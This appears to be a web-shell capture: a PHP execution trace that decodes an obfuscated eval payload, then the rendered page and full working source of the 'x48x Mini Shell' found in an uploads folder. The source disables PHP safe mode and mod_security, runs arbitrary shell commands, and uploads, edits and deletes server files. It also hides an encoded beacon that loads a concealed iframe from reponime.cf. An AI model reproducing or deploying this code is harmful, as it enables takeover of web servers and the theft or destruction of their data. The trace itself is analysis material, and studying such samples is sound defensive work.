2 64 R '%�A\n� \020\000�{�\037\026\t��=ӿ�z\t�-\027�E=`f��\0238л\\T\006C�Gg�NI�˱�\030�*HT�j9�f\f1� ��z����P���k;OH\0222,�m\037'
2 65 0 0.003362 464072 gzinflate 0 /var/www/html/uploads/shaban.phtml 268 1 '%�A\n� \020\000�{�\037\026\t��=ӿ�z\t�-\027�E=`f��\0238л\\T\006C�Gg�NI�˱�\030�*HT�j9�f\f1� ��z����P���k;OH\0222,�m\037'
2 65 1 0.003392 464232
2 65 R '$ybttf = \'<vsenzr fglyr="qvfcynl:abar;" fep="uggc://ercbavzr.ps/ybt.cuc"></vsenzr>\';\r\ncevag $ybttf;'
2 66 0 0.003411 464072 str_rot13 0 /var/www/html/uploads/shaban.phtml 268 1 '$ybttf = \'<vsenzr fglyr="qvfcynl:abar;" fep="uggc://ercbavzr.ps/ybt.cuc"></vsenzr>\';\r\ncevag $ybttf;'
2 66 1 0.003428 464232
2 66 R '$loggs = \'<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>\';\r\nprint $loggs;'
2 67 0 0.003459 464736 eval 1 '$loggs = \'<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>\';\r\nprint $loggs;' /var/www/html/uploads/shaban.phtml 268 0
2 A /var/www/html/uploads/shaban.phtml(268) : eval()'d code 1 $loggs = '<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe>'
2 67 1 0.003492 464736
1 3 1 0.003508 464296
0.003549 332944
TRACE END [2023-02-12 19:28:10.067755]
<html><head>
<link href="" rel="stylesheet" type="text/css">
<title>x48x</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-image: url("https://pbs.twimg.com/media/C4S23EeVYAESumU.jpg");
color:purple;
background-attachment:fixed;
background-repeat:no-repeat;
background-position:center;
background-color:transparan;
-webkit-background-size: 90% 100%;
}
#content tr:hover{
background-color: pink;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: pink;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:blue;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center><font color="pink">x48x Mini Shell</font></center></h1>
<br><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>Disable Functions: <b><font color="white">Aman cuk :v</font></b><br><font color="purple">Path :</font> <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
<font color="purple">File Upload :</font> <input type="file" name="file">
<input type="submit" value="upload">
</form><form method="post">
<font color="purple">Command :</font>
<input type="text" size="30" height="10" name="cmd"><input type="submit" name="execmd" value=" Execute ">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permission</center></td>
<td><center>Modify</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?filesrc=/var/www/html/.htaccess&path=/var/www/html">.htaccess</a></td>
<td><center>0.083 KB</center></td>
<td><center><font color="pink">-rw-r--r--</font></center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value=".htaccess">
<input type="hidden" name="path" value="/var/www/html/.htaccess">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/php.ini&path=/var/www/html">php.ini</a></td>
<td><center>0.038 KB</center></td>
<td><center><font color="pink">-rw-r--r--</font></center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="php.ini">
<input type="hidden" name="path" value="/var/www/html/php.ini">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/shaban.phtml&path=/var/www/html">shaban.phtml</a></td>
<td><center>10.204 KB</center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="shaban.phtml">
<input type="hidden" name="path" value="/var/www/html/shaban.phtml">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><center><br><font color="pink">x48x Mini Shell</font><br>[ <a href="?path=/var/www/html&go=cabs">LogOut</a> ]
</center>
<iframe style="display:none;" src="http://reponime.cf/log.php"></iframe></body></html>
<?php
if (file_exists("php.ini")){
}else{
$img = fopen('php.ini', 'w');
$sec = "safe_mode = OFF
disable_funtions = NONE";
fwrite($img ,$sec);
fclose($img);}
if (file_exists(".htaccess")){
}else{
$img2 = fopen('.htaccess', 'w');
$sec2 = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>";
fwrite($img2 ,$sec2);
fclose($img2);}
$inids = @ini_get("disable_functions");
$liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<b><font color='white'>Aman cuk :v</font></b>";
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<html>
<head>
<link href="" rel="stylesheet" type="text/css">
<title>x48x</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-image: url("https://pbs.twimg.com/media/C4S23EeVYAESumU.jpg");
color:purple;
background-attachment:fixed;
background-repeat:no-repeat;
background-position:center;
background-color:transparan;
-webkit-background-size: 90% 100%;
}
#content tr:hover{
background-color: pink;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: pink;
}
table{
border: 1px #000000 dotted;
}
a{
color:white;
text-decoration: none;
}
a:hover{
color:blue;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center><font color="pink">x48x Mini Shell</font></center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>';
echo "Disable Functions: $liatds";
echo '<br><font color="purple">Path :</font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="white">Upload Berhasil</font><br />';
}else{
echo '<font color="purple">Upload Gagal</font><br/>';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="purple">File Upload :</font> <input type="file" name="file" />
<input type="submit" value="upload" />
</form>';
echo "<form method='post'>
<font color='purple'>Command :</font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
</form>
</td></tr>";
if($_POST['execmd']) {
echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>".exe($_POST['cmd'])."</textarea></center>";
}
echo "<br></td></tr>";
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="white">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="purple">Change Permission Gagal</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="white">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="purple">Ganti Nama Gagal</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="white">Berhasil Edit File</font><br/>';
}else{
echo '<font color="purple">Gagal Edit File</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="white">Directory Terhapus</font><br/>';
}else{
echo '<font color="purple">Directory Gagal Terhapus </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="white">File Terhapus</font><br/>';
}else{
echo '<font color="purple">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</peller></center></td>
<td><center>Size</peller></center></td>
<td><center>Permission</peller></center></td>
<td><center>Modify</peller></center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="pink">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="pink">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="purple">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/><font color="pink">x48x Mini Shell</font><br>';
echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
</center>
</body>
</html>";
$command = "JcxOCoAgEADAe9AfFgm85T3Tv+iybQmxLRf09VI9YHPp8b4TONC7XEcGUMpUdKdBVtjLsYUY2CpVR513OeNzDDHGIIPXbZmXr9hD+d383ng7QlUSMizfeh8=";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($command))))));
if($_GET['go'] == 'cabs') {
echo '<form action="" method="post">';
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo '<meta http-equiv="refresh" content="3" />';
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
//////all functions disini tempatnya/////
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
?>